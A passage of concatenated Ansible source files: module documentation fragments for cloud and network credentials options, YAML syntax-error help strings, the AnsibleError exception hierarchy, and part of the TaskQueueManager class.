  - C(RAX_REGION) defines a Rackspace Public Cloud region (DFW, ORD, LON, ...)
"""

    # Documentation fragment including attributes to enable communication
    # of other OpenStack clouds. Not all rax modules support this.
    OPENSTACK = """
options:
  api_key:
    description:
      - Rackspace API key (overrides I(credentials))
    aliases:
      - password
  auth_endpoint:
    description:
      - The URI of the authentication service
    default: https://identity.api.rackspacecloud.com/v2.0/
    version_added: 1.5
  credentials:
    description:
      - File to find the Rackspace credentials in (ignored if I(api_key) and
        I(username) are provided)
    default: null
    aliases:
      - creds_file
  env:
    description:
      - Environment as configured in ~/.pyrax.cfg,
        see U(https://github.com/rackspace/pyrax/blob/master/docs/getting_started.md#pyrax-configuration)
    version_added: 1.5
  identity_type:
    description:
      - Authentication machanism to use, such as rackspace or keystone
    default: rackspace
    version_added: 1.5
  region:
    description:
      - Region to create an instance in
    default: DFW
  tenant_id:
    description:
      - The tenant ID used for authentication
    version_added: 1.5
  tenant_name:
    description:
      - The tenant name used for authentication
    version_added: 1.5
  username:
    description:
      - Rackspace username (overrides I(credentials))
  verify_ssl:
    description:
      - Whether or not to require SSL validation of API endpoints
    version_added: 1.5
requirements:
  - "python >= 2.6"
  - pyrax
notes:
  - The following environment variables can be used, C(RAX_USERNAME),
    C(RAX_API_KEY), C(RAX_CREDS_FILE), C(RAX_CREDENTIALS), C(RAX_REGION).
  - C(RAX_CREDENTIALS) and C(RAX_CREDS_FILE) points to a credentials file
    appropriate for pyrax. See U(https://github.com/rackspace/pyrax/blob/master/docs/getting_started.md#authenticating)
  - C(RAX_USERNAME) and C(RAX_API_KEY) obviate the use of a credentials file
  - C(RAX_REGION) defines a Rackspace Public Cloud region (DFW, ORD, LON, ...)
"""






# Copyright (c) 2015 Ansible, Inc
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.


class ModuleDocFragment(object):

    # Standard documentation fragment
    DOCUMENTATION = '''
options:
    backup:
        description:
          - Create a backup file including the timestamp information so you can get
            the original file back if you somehow clobbered it incorrectly.
        required: false
        choices: [ "yes", "no" ]
        default: "no"
'''












# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.


class ModuleDocFragment(object):

    # Standard files documentation fragment
    DOCUMENTATION = """
options:
  api_url:
    required: false
    default: null
    description:
      - The resolvable endpoint for the API
  api_username:
    required: false
    default: null
    description:
      - The username to use for authentication against the API
  api_password:
    required: false
    default: null
    description:
      - The password to use for authentication against the API
  validate_certs:
    required: false
    default: yes
    description:
      - Whether or not to validate SSL certs when supplying a https endpoint. 
"""






# Copyright (c) 2015 Ansible, Inc
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.


class ModuleDocFragment(object):

    # Standard documentation fragment
    DOCUMENTATION = '''
options:
    validate:
      required: false
      description:
       - The validation command to run before copying into place. The path to the file to
         validate is passed in via '%s' which must be present as in the example below.
         The command is passed securely so shell features like expansion and pipes won't work.
      default: None
'''






#
# (c) 2015, Peter Sprygada <psprygada@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.


class ModuleDocFragment(object):

    # Standard files documentation fragment
    DOCUMENTATION = """
options:
  host:
    description:
      - Specifies the DNS host name or address for connecting to the remote
        device over the specified transport.  The value of host is used as
        the destination address for the transport.
    required: true
  port:
    description:
      - Specifies the port to use when buiding the connection to the remote
        device.  The port value will default to the well known SSH port
        of 22
    required: false
    default: 22
  username:
    description:
      - Configures the usename to use to authenticate the connection to
        the remote device.  The value of I(username) is used to authenticate
        the SSH session. If the value is not specified in the task, the
        value of environment variable ANSIBLE_NET_USERNAME will be used instead.
    required: false
  password:
    description:
      - Specifies the password to use to authenticate the connection to
        the remote device.   The value of I(password) is used to authenticate
        the SSH session. If the value is not specified in the task, the
        value of environment variable ANSIBLE_NET_PASSWORD will be used instead.
    required: false
    default: null
  ssh_keyfile:
    description:
      - Specifies the SSH key to use to authenticate the connection to
        the remote device.   The value of I(ssh_keyfile) is the path to the
        key used to authenticate the SSH session. If the value is not specified
        in the task, the value of environment variable ANSIBLE_NET_SSH_KEYFILE
        will be used instead.
    required: false
  provider:
    description:
      - Convience method that allows all M(iosxr) arguments to be passed as
        a dict object.  All constraints (required, choices, etc) must be
        met either by individual arguments or values in this dict.
    required: false
    default: null

  """






#
# (c) 2015, Peter Sprygada <psprygada@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.


class ModuleDocFragment(object):

    # Standard files documentation fragment
    DOCUMENTATION = """
options:
  host:
    description:
      - Specifies the DNS host name or address for connecting to the remote
        device over the specified transport.  The value of host is used as
        the destination address for the transport.
    required: true
  port:
    description:
      - Specifies the port to use when buiding the connection to the remote
        device.  The port value will default to the well known SSH port
        of 22
    required: false
    default: 22
  username:
    description:
      - Configures the usename to use to authenticate the connection to
        the remote device.  The value of I(username) is used to authenticate
        the SSH session. If the value is not specified in the task, the
        value of environment variable ANSIBLE_NET_USERNAME will be used instead.
    required: false
  password:
    description:
      - Specifies the password to use to authenticate the connection to
        the remote device.   The value of I(password) is used to authenticate
        the SSH session. If the value is not specified in the task, the
        value of environment variable ANSIBLE_NET_PASSWORD will be used instead.
    required: false
    default: null
  ssh_keyfile:
    description:
      - Specifies the SSH key to use to authenticate the connection to
        the remote device.   The value of I(ssh_keyfile) is the path to the
        key used to authenticate the SSH session. If the value is not specified
        in the task, the value of environment variable ANSIBLE_NET_SSH_KEYFILE
        will be used instead.
    required: false
  authorize:
    description:
      - Instructs the module to enter priviledged mode on the remote device
        before sending any commands.  If not specified, the device will
        attempt to excecute all commands in non-priviledged mode. If the value
        is not specified in the task, the value of environment variable
        ANSIBLE_NET_AUTHORIZE will be used instead.
    required: false
    default: no
    choices: ['yes', 'no']
  auth_pass:
    description:
      - Specifies the password to use if required to enter privileged mode
        on the remote device.  If I(authorize) is false, then this argument
        does nothing. If the value is not specified in the task, the value of
        environment variable ANSIBLE_NET_AUTH_PASS will be used instead.
    required: false
    default: none
  timeout:
    description:
      - Specifies idle timeout for the connection. Useful if the console
        freezes before continuing. For example when saving configurations.
    required: false
    default: 10
  provider:
    description:
      - Convience method that allows all M(ios) arguments to be passed as
        a dict object.  All constraints (required, choices, etc) must be
        met either by individual arguments or values in this dict.
    required: false
    default: null
  force:
    description:
      - The force argument instructs the module to not consider the
        current devices running-config.  When set to true, this will
        cause the module to push the contents of I(src) into the device
        without first checking if already configured.
    required: false
    default: false
    version_added: "2.2"
    choices: ['yes', 'no']
  running_config:
    description:
      - The module, by default, will connect to the remote device and
        retrieve the current running-config to use as a base for comparing
        against the contents of source.  There are times when it is not
        desirable to have the task get the current running-config for
        every task in a playbook.  The I(config) argument allows the
        implementer to pass in the configuruation to use as the base
        config for comparision.
    required: false
    default: null
    version_added: "2.2"
    aliases: ['config']
  save_config:
    description:
      - Specifies the current C(running-config) should be saved to
        non-volatile memory so that configuration changes are
        persistent if the device is restarted.
    required: false
    default: null
    version_added: "2.2"
    aliases: ['save']
"""






# Copyright (c) 2014 Hewlett-Packard Development Company, L.P.
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.


class ModuleDocFragment(object):

    # Standard openstack documentation fragment
    DOCUMENTATION = '''
options:
  cloud:
    description:
      - Named cloud to operate against. Provides default values for I(auth) and
        I(auth_type). This parameter is not needed if I(auth) is provided or if
        OpenStack OS_* environment variables are present.
    required: false
  auth:
    description:
      - Dictionary containing auth information as needed by the cloud's auth
        plugin strategy. For the default I(password) plugin, this would contain
        I(auth_url), I(username), I(password), I(project_name) and any
        information about domains if the cloud supports them. For other plugins,
        this param will need to contain whatever parameters that auth plugin
        requires. This parameter is not needed if a named cloud is provided or
        OpenStack OS_* environment variables are present.
    required: false
  auth_type:
    description:
      - Name of the auth plugin to use. If the cloud uses something other than
        password authentication, the name of the plugin should be indicated here
        and the contents of the I(auth) parameter should be updated accordingly.
    required: false
    default: password
  region_name:
    description:
      - Name of the region.
    required: false
  availability_zone:
    description:
      - Name of the availability zone.
    required: false
  wait:
    description:
      - Should ansible wait until the requested resource is complete.
    required: false
    default: "yes"
    choices: ["yes", "no"]
  timeout:
    description:
      - How long should ansible wait for the requested resource.
    required: false
    default: 180
  api_timeout:
    description:
      - How long should the socket layer wait before timing out for API calls.
        If this is omitted, nothing will be passed to the requests library.
    required: false
    default: None
  validate_certs:
    description:
      - Whether or not SSL API requests should be verified.
    required: false
    default: True
    aliases: ['verify']
  cacert:
    description:
      - A path to a CA Cert bundle that can be used as part of verifying
        SSL API requests.
    required: false
    default: None
  cert:
    description:
      - A path to a client certificate to use as part of the SSL transaction
    required: false
    default: None
  key:
    description:
      - A path to a client key to use as part of the SSL transaction
    required: false
    default: None
  endpoint_type:
    description:
        - Endpoint URL type to fetch from the service catalog.
    choices: [public, internal, admin]
    required: false
    default: public
requirements:
  - python >= 2.7
  - shade
notes:
  - The standard OpenStack environment variables, such as C(OS_USERNAME)
    may be used instead of providing explicit values.
  - Auth information is driven by os-client-config, which means that values
    can come from a yaml config file in /etc/ansible/openstack.yaml,
    /etc/openstack/clouds.yaml or ~/.config/openstack/clouds.yaml, then from
    standard environment variables, then finally by explicit parameters in
    plays. More information can be found at
    U(http://docs.openstack.org/developer/os-client-config)
'''






# -*- coding: utf-8 -*-
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.


class ModuleDocFragment(object):
    # Standard F5 documentation fragment
    DOCUMENTATION = '''
options:
  password:
    description:
      - The password for the user account used to connect to the BIG-IP.
    required: true
  server:
    description:
      - The BIG-IP host.
    required: true
  server_port:
    description:
      - The BIG-IP server port.
    required: false
    default: 443
    version_added: 2.2
  user:
    description:
      - The username to connect to the BIG-IP with. This user must have
        administrative privileges on the device.
    required: true
  validate_certs:
    description:
      - If C(no), SSL certificates will not be validated. This should only be
        used on personally controlled sites using self-signed certificates.
    required: false
    default: yes
    choices:
      - yes
      - no
    version_added: 2.0
'''






# (c) 2015, Ansible, Inc
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.


class ModuleDocFragment(object):

    # EC2 only documentation fragment
    DOCUMENTATION = """
options:
    region:
        description:
          - The AWS region to use. If not specified then the value of the AWS_REGION or EC2_REGION environment variable, if any, is used. See U(http://docs.aws.amazon.com/general/latest/gr/rande.html#ec2_region)
        required: false
        aliases: [ 'aws_region', 'ec2_region' ]
"""






# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

__all__ = [
    'YAML_SYNTAX_ERROR',
    'YAML_POSITION_DETAILS',
    'YAML_COMMON_DICT_ERROR',
    'YAML_COMMON_UNQUOTED_VARIABLE_ERROR',
    'YAML_COMMON_UNQUOTED_COLON_ERROR',
    'YAML_COMMON_PARTIALLY_QUOTED_LINE_ERROR',
    'YAML_COMMON_UNBALANCED_QUOTES_ERROR',
]

YAML_SYNTAX_ERROR = """\
Syntax Error while loading YAML.
"""

YAML_POSITION_DETAILS = """\
The error appears to have been in '%s': line %s, column %s, but may
be elsewhere in the file depending on the exact syntax problem.
"""

YAML_COMMON_DICT_ERROR = """\
This one looks easy to fix.  YAML thought it was looking for the start of a
hash/dictionary and was confused to see a second "{".  Most likely this was
meant to be an ansible template evaluation instead, so we have to give the
parser a small hint that we wanted a string instead. The solution here is to
just quote the entire value.

For instance, if the original line was:

    app_path: {{ base_path }}/foo

It should be written as:

    app_path: "{{ base_path }}/foo"
"""

YAML_COMMON_UNQUOTED_VARIABLE_ERROR = """\
We could be wrong, but this one looks like it might be an issue with
missing quotes.  Always quote template expression brackets when they
start a value. For instance:

    with_items:
      - {{ foo }}

Should be written as:

    with_items:
      - "{{ foo }}"
"""

YAML_COMMON_UNQUOTED_COLON_ERROR = """\
This one looks easy to fix.  There seems to be an extra unquoted colon in the line
and this is confusing the parser. It was only expecting to find one free
colon. The solution is just add some quotes around the colon, or quote the
entire line after the first colon.

For instance, if the original line was:

    copy: src=file.txt dest=/path/filename:with_colon.txt

It can be written as:

    copy: src=file.txt dest='/path/filename:with_colon.txt'

Or:

    copy: 'src=file.txt dest=/path/filename:with_colon.txt'
"""

YAML_COMMON_PARTIALLY_QUOTED_LINE_ERROR = """\
This one looks easy to fix.  It seems that there is a value started
with a quote, and the YAML parser is expecting to see the line ended
with the same kind of quote.  For instance:

    when: "ok" in result.stdout

Could be written as:

   when: '"ok" in result.stdout'

Or equivalently:

   when: "'ok' in result.stdout"
"""

YAML_COMMON_UNBALANCED_QUOTES_ERROR = """\
We could be wrong, but this one looks like it might be an issue with
unbalanced quotes.  If starting a value with a quote, make sure the
line ends with the same set of quotes.  For instance this arbitrary
example:

    foo: "bad" "wolf"

Could be written as:

    foo: '"bad" "wolf"'
"""







# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.errors.yaml_strings import ( YAML_POSITION_DETAILS,
        YAML_COMMON_UNQUOTED_VARIABLE_ERROR,
        YAML_COMMON_DICT_ERROR,
        YAML_COMMON_UNQUOTED_COLON_ERROR,
        YAML_COMMON_PARTIALLY_QUOTED_LINE_ERROR,
        YAML_COMMON_UNBALANCED_QUOTES_ERROR )

from ansible.utils.unicode import to_unicode, to_str


class AnsibleError(Exception):
    '''
    This is the base class for all errors raised from Ansible code,
    and can be instantiated with two optional parameters beyond the
    error message to control whether detailed information is displayed
    when the error occurred while parsing a data file of some kind.

    Usage:

        raise AnsibleError('some message here', obj=obj, show_content=True)

    Where "obj" is some subclass of ansible.parsing.yaml.objects.AnsibleBaseYAMLObject,
    which should be returned by the DataLoader() class.
    '''

    def __init__(self, message="", obj=None, show_content=True, suppress_extended_error=False):
        # we import this here to prevent an import loop problem,
        # since the objects code also imports ansible.errors
        from ansible.parsing.yaml.objects import AnsibleBaseYAMLObject

        self._obj = obj
        self._show_content = show_content
        if obj and isinstance(obj, AnsibleBaseYAMLObject):
            extended_error = self._get_extended_error()
            if extended_error and not suppress_extended_error:
                self.message = '%s\n\n%s' % (to_str(message), to_str(extended_error))
            else:
                self.message = '%s' % to_str(message)
        else:
            self.message = '%s' % to_str(message)

    def __str__(self):
        return self.message

    def __repr__(self):
        return self.message

    def _get_error_lines_from_file(self, file_name, line_number):
        '''
        Returns the line in the file which corresponds to the reported error
        location, as well as the line preceding it (if the error did not
        occur on the first line), to provide context to the error.
        '''

        target_line = ''
        prev_line = ''

        with open(file_name, 'r') as f:
            lines = f.readlines()

            target_line = lines[line_number]
            if line_number > 0:
                prev_line = lines[line_number - 1]

        return (target_line, prev_line)

    def _get_extended_error(self):
        '''
        Given an object reporting the location of the exception in a file, return
        detailed information regarding it including:

          * the line which caused the error as well as the one preceding it
          * causes and suggested remedies for common syntax errors

        If this error was created with show_content=False, the reporting of content
        is suppressed, as the file contents may be sensitive (ie. vault data).
        '''

        error_message = ''

        try:
            (src_file, line_number, col_number) = self._obj.ansible_pos
            error_message += YAML_POSITION_DETAILS % (src_file, line_number, col_number)
            if src_file not in ('<string>', '<unicode>') and self._show_content:
                (target_line, prev_line) = self._get_error_lines_from_file(src_file, line_number - 1)
                target_line = to_unicode(target_line)
                prev_line = to_unicode(prev_line)
                if target_line:
                    stripped_line = target_line.replace(" ","")
                    arrow_line    = (" " * (col_number-1)) + "^ here"
                    #header_line   = ("=" * 73)
                    error_message += "\nThe offending line appears to be:\n\n%s\n%s\n%s\n" % (prev_line.rstrip(), target_line.rstrip(), arrow_line)

                    # common error/remediation checking here:
                    # check for unquoted vars starting lines
                    if ('{{' in target_line and '}}' in target_line) and ('"{{' not in target_line or "'{{" not in target_line):
                        error_message += YAML_COMMON_UNQUOTED_VARIABLE_ERROR
                    # check for common dictionary mistakes
                    elif ":{{" in stripped_line and "}}" in stripped_line:
                        error_message += YAML_COMMON_DICT_ERROR
                    # check for common unquoted colon mistakes
                    elif len(target_line) and len(target_line) > 1 and len(target_line) > col_number and target_line[col_number] == ":" and target_line.count(':') > 1:
                        error_message += YAML_COMMON_UNQUOTED_COLON_ERROR
                    # otherwise, check for some common quoting mistakes
                    else:
                        parts = target_line.split(":")
                        if len(parts) > 1:
                            middle = parts[1].strip()
                            match = False
                            unbalanced = False

                            if middle.startswith("'") and not middle.endswith("'"):
                                match = True
                            elif middle.startswith('"') and not middle.endswith('"'):
                                match = True

                            if len(middle) > 0 and middle[0] in [ '"', "'" ] and middle[-1] in [ '"', "'" ] and target_line.count("'") > 2 or target_line.count('"') > 2:
                                unbalanced = True

                            if match:
                                error_message += YAML_COMMON_PARTIALLY_QUOTED_LINE_ERROR
                            if unbalanced:
                                error_message += YAML_COMMON_UNBALANCED_QUOTES_ERROR

        except (IOError, TypeError):
            error_message += '\n(could not open file to display line)'
        except IndexError:
            error_message += '\n(specified line no longer in file, maybe it changed?)'

        return error_message

class AnsibleOptionsError(AnsibleError):
    ''' bad or incomplete options passed '''
    pass

class AnsibleParserError(AnsibleError):
    ''' something was detected early that is wrong about a playbook or data file '''
    pass

class AnsibleInternalError(AnsibleError):
    ''' internal safeguards tripped, something happened in the code that should never happen '''
    pass

class AnsibleRuntimeError(AnsibleError):
    ''' ansible had a problem while running a playbook '''
    pass

class AnsibleModuleError(AnsibleRuntimeError):
    ''' a module failed somehow '''
    pass

class AnsibleConnectionFailure(AnsibleRuntimeError):
    ''' the transport / connection_plugin had a fatal error '''
    pass

class AnsibleFilterError(AnsibleRuntimeError):
    ''' a templating failure '''
    pass

class AnsibleLookupError(AnsibleRuntimeError):
    ''' a lookup failure '''
    pass

class AnsibleCallbackError(AnsibleRuntimeError):
    ''' a callback failure '''
    pass

class AnsibleUndefinedVariable(AnsibleRuntimeError):
    ''' a templating failure '''
    pass

class AnsibleFileNotFound(AnsibleRuntimeError):
    ''' a file missing failure '''
    pass






# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import multiprocessing
import os
import tempfile

from ansible import constants as C
from ansible.errors import AnsibleError
from ansible.executor.play_iterator import PlayIterator
from ansible.executor.stats import AggregateStats
from ansible.playbook.block import Block
from ansible.playbook.play_context import PlayContext
from ansible.plugins import callback_loader, strategy_loader, module_loader
from ansible.template import Templar
from ansible.vars.hostvars import HostVars
from ansible.plugins.callback import CallbackBase
from ansible.utils.helpers import pct_to_int
from ansible.utils.unicode import to_unicode
from ansible.compat.six import string_types

try:
    from __main__ import display
except ImportError:
    from ansible.utils.display import Display
    display = Display()

__all__ = ['TaskQueueManager']


class TaskQueueManager:

    '''
    This class handles the multiprocessing requirements of Ansible by
    creating a pool of worker forks, a result handler fork, and a
    manager object with shared datastructures/queues for coordinating
    work between all processes.

    The queue manager is responsible for loading the play strategy plugin,
    which dispatches the Play's tasks to hosts.
    '''

    RUN_OK                = 0
    RUN_ERROR             = 1
    RUN_FAILED_HOSTS      = 2
    RUN_UNREACHABLE_HOSTS = 4
    RUN_FAILED_BREAK_PLAY = 8
    RUN_UNKNOWN_ERROR     = 255

    def __init__(self, inventory, variable_manager, loader, options, passwords, stdout_callback=None, run_additional_callbacks=True, run_tree=False):

        self._inventory        = inventory
        self._variable_manager = variable_manager
        self._loader           = loader
        self._options          = options
        self._stats            = AggregateStats()
        self.passwords         = passwords
        self._stdout_callback  = stdout_callback
        self._run_additional_callbacks = run_additional_callbacks
        self._run_tree         = run_tree

        self._callbacks_loaded = False
        self._callback_plugins = []
        self._start_at_done    = False

        # make sure the module path (if specified) is parsed and
        # added to the module_loader object
        if options.module_path is not None:
            for path in options.module_path.split(os.pathsep):
                module_loader.add_directory(path)

        # a special flag to help us exit cleanly
        self._terminated = False

        # this dictionary is used to keep track of notified handlers
        self._notified_handlers = dict()
        self._listening_handlers = dict()

        # dictionaries to keep track of failed/unreachable hosts
        self._failed_hosts      = dict()
        self._unreachable_hosts = dict()

        self._final_q = multiprocessing.Queue()

        # A temporary file (opened pre-fork) used by connection
        # plugins for inter-process locking.
        self._connection_lockfile = tempfile.TemporaryFile()

    def _initialize_processes(self, num):
        self._workers = []

        for i in range(num):
            rslt_q = multiprocessing.Queue()
            self._workers.append([None, rslt_q])

    def _initialize_notified_handlers(self, play):
        '''
        Clears and initializes the shared notified handlers dict with entries
        for each handler in the play, which is an empty array that will contain
        inventory hostnames for those hosts triggering the handler.
        '''

        # Zero the dictionary first by removing any entries there.
        # Proxied dicts don't support iteritems, so we have to use keys()
        self._notified_handlers.clear()
        self._listening_handlers.clear()

        def _process_block(b):
            temp_list = []
            for t in b.block:
                if isinstance(t, Block):
                    temp_list.extend(_process_block(t))
                else:
                    temp_list.append(t)
            return temp_list

        handler_list = []
        for handler_block in play.handlers:
            handler_list.extend(_process_block(handler_block))

        # then initialize it with the given handler list
        for handler in handler_list:
            if handler not in self._notified_handlers:
                self._notified_handlers[handler] = []
            if handler.listen:
                listeners = handler.listen
                if not isinstance(listeners, list):
                    listeners = [ listeners ]
                for listener in listeners:
                    if listener not in self._listening_handlers:
                        self._listening_handlers[listener] = []
                    self._listening_handlers[listener].append(handler.get_name())

    def load_callbacks(self):
        '''
        Loads all available callbacks, with the exception of those which
        utilize the CALLBACK_TYPE option. When CALLBACK_TYPE is set to 'stdout',
        only one such callback plugin will be loaded.
        '''

        if self._callbacks_loaded:
            return

        stdout_callback_loaded = False
        if self._stdout_callback is None:
            self._stdout_callback = C.DEFAULT_STDOUT_CALLBACK

        if isinstance(self._stdout_callback, CallbackBase):
            stdout_callback_loaded = True
        elif isinstance(self._stdout_callback, string_types):
            if self._stdout_callback not in callback_loader:
                raise AnsibleError("Invalid callback for stdout specified: %s" % self._stdout_callback)
            else:
                self._stdout_callback = callback_loader.get(self._stdout_callback)
                stdout_callback_loaded = True
        else:
            raise AnsibleError("callback must be an instance of CallbackBase or the name of a callback plugin")

        for callback_plugin in callback_loader.all(class_only=True):
            if hasattr(callback_plugin, 'CALLBACK_VERSION') and callback_plugin.CALLBACK_VERSION >= 2.0:
                # we only allow one callback of type 'stdout' to be loaded, so check
                # the name of the current plugin and type to see if we need to skip
                # loading this callback plugin
                callback_type = getattr(callback_plugin, 'CALLBACK_TYPE', None)
                callback_needs_whitelist  = getattr(callback_plugin, 'CALLBACK_NEEDS_WHITELIST', False)
                (callback_name, _) = os.path.splitext(os.path.basename(callback_plugin._original_path))
                if callback_type == 'stdout':
                    if callback_name != self._stdout_callback or stdout_callback_loaded:
                        continue
                    stdout_callback_loaded = True
                elif callback_name == 'tree' and self._run_tree:
                    pass
                elif not self._run_additional_callbacks or (callback_needs_whitelist and (C.DEFAULT_CALLBACK_WHITELIST is None or callback_name not in C.DEFAULT_CALLBACK_WHITELIST)):
                    continue

            self._callback_plugins.append(callback_plugin())

        self._callbacks_loaded = True

    def run(self, play):
        '''
        Iterates over the roles/tasks in a play, using the given (or default)
        strategy for queueing tasks. The default is the linear strategy, which
        operates like classic Ansible by keeping all hosts in lock-step with
        a given task (meaning no hosts move on to the next task until all hosts
        are done with the current task).
        '''

        if not self._callbacks_loaded:
            self.load_callbacks()

        all_vars = self._variable_manager.get_vars(loader=self._loader, play=play)
        templar = Templar(loader=self._loader, variables=all_vars)

        new_play = play.copy()
        new_play.post_validate(templar)
        new_play.handlers = new_play.compile_roles_handlers() + new_play.handlers

        self.hostvars = HostVars(
            inventory=self._inventory,
            variable_manager=self._variable_manager,
            loader=self._loader,
        )

        # Fork # of forks, # of hosts or serial, whichever is lowest
        num_hosts = len(self._inventory.get_hosts(new_play.hosts))

        max_serial = 0
        if play.serial:
            # the play has not been post_validated here, so we may need
            # to convert the scalar value to a list at this point
            serial_items = play.serial
            if not isinstance(serial_items, list):
                serial_items = [serial_items]
            max_serial = max([pct_to_int(x, num_hosts) for x in serial_items])

        contenders =  [self._options.forks, max_serial, num_hosts]
        contenders =  [v for v in contenders if v is not None and v > 0]
        self._initialize_processes(min(contenders))

        play_context = PlayContext(new_play, self._options, self.passwords, self._connection_lockfile.fileno())
        for callback_plugin in self._callback_plugins:
            if hasattr(callback_plugin, 'set_play_context'):
                callback_plugin.set_play_context(play_context)

        self.send_callback('v2_playbook_on_play_start', new_play)

        # initialize the shared dictionary containing the notified handlers
        self._initialize_notified_handlers(new_play)

        # load the specified strategy (or the default linear one)
        strategy = strategy_loader.get(new_play.strategy, self)
        if strategy is None:
            raise AnsibleError("Invalid play strategy specified: %s" % new_play.strategy, obj=play._ds)

        # build the iterator
        iterator = PlayIterator(
            inventory=self._inventory,
            play=new_play,
            play_context=play_context,
            variable_manager=self._variable_manager,
            all_vars=all_vars,
            start_at_done = self._start_at_done,
        )

        # Because the TQM may survive multiple play runs, we start by marking
        # any hosts as failed in the iterator here which may have been marked
        # as failed in previous runs. Then we clear the internal list of failed
        # hosts so we know what failed this round.
        for host_name in self._failed_hosts.keys():
            host = self._inventory.get_host(host_name)
            iterator.mark_host_failed(host)

        self.clear_failed_hosts()

        # during initialization, the PlayContext will clear the start_at_task
        # field to signal that a matching task was found, so check that here
        # and remember it so we don't try to skip tasks on future plays
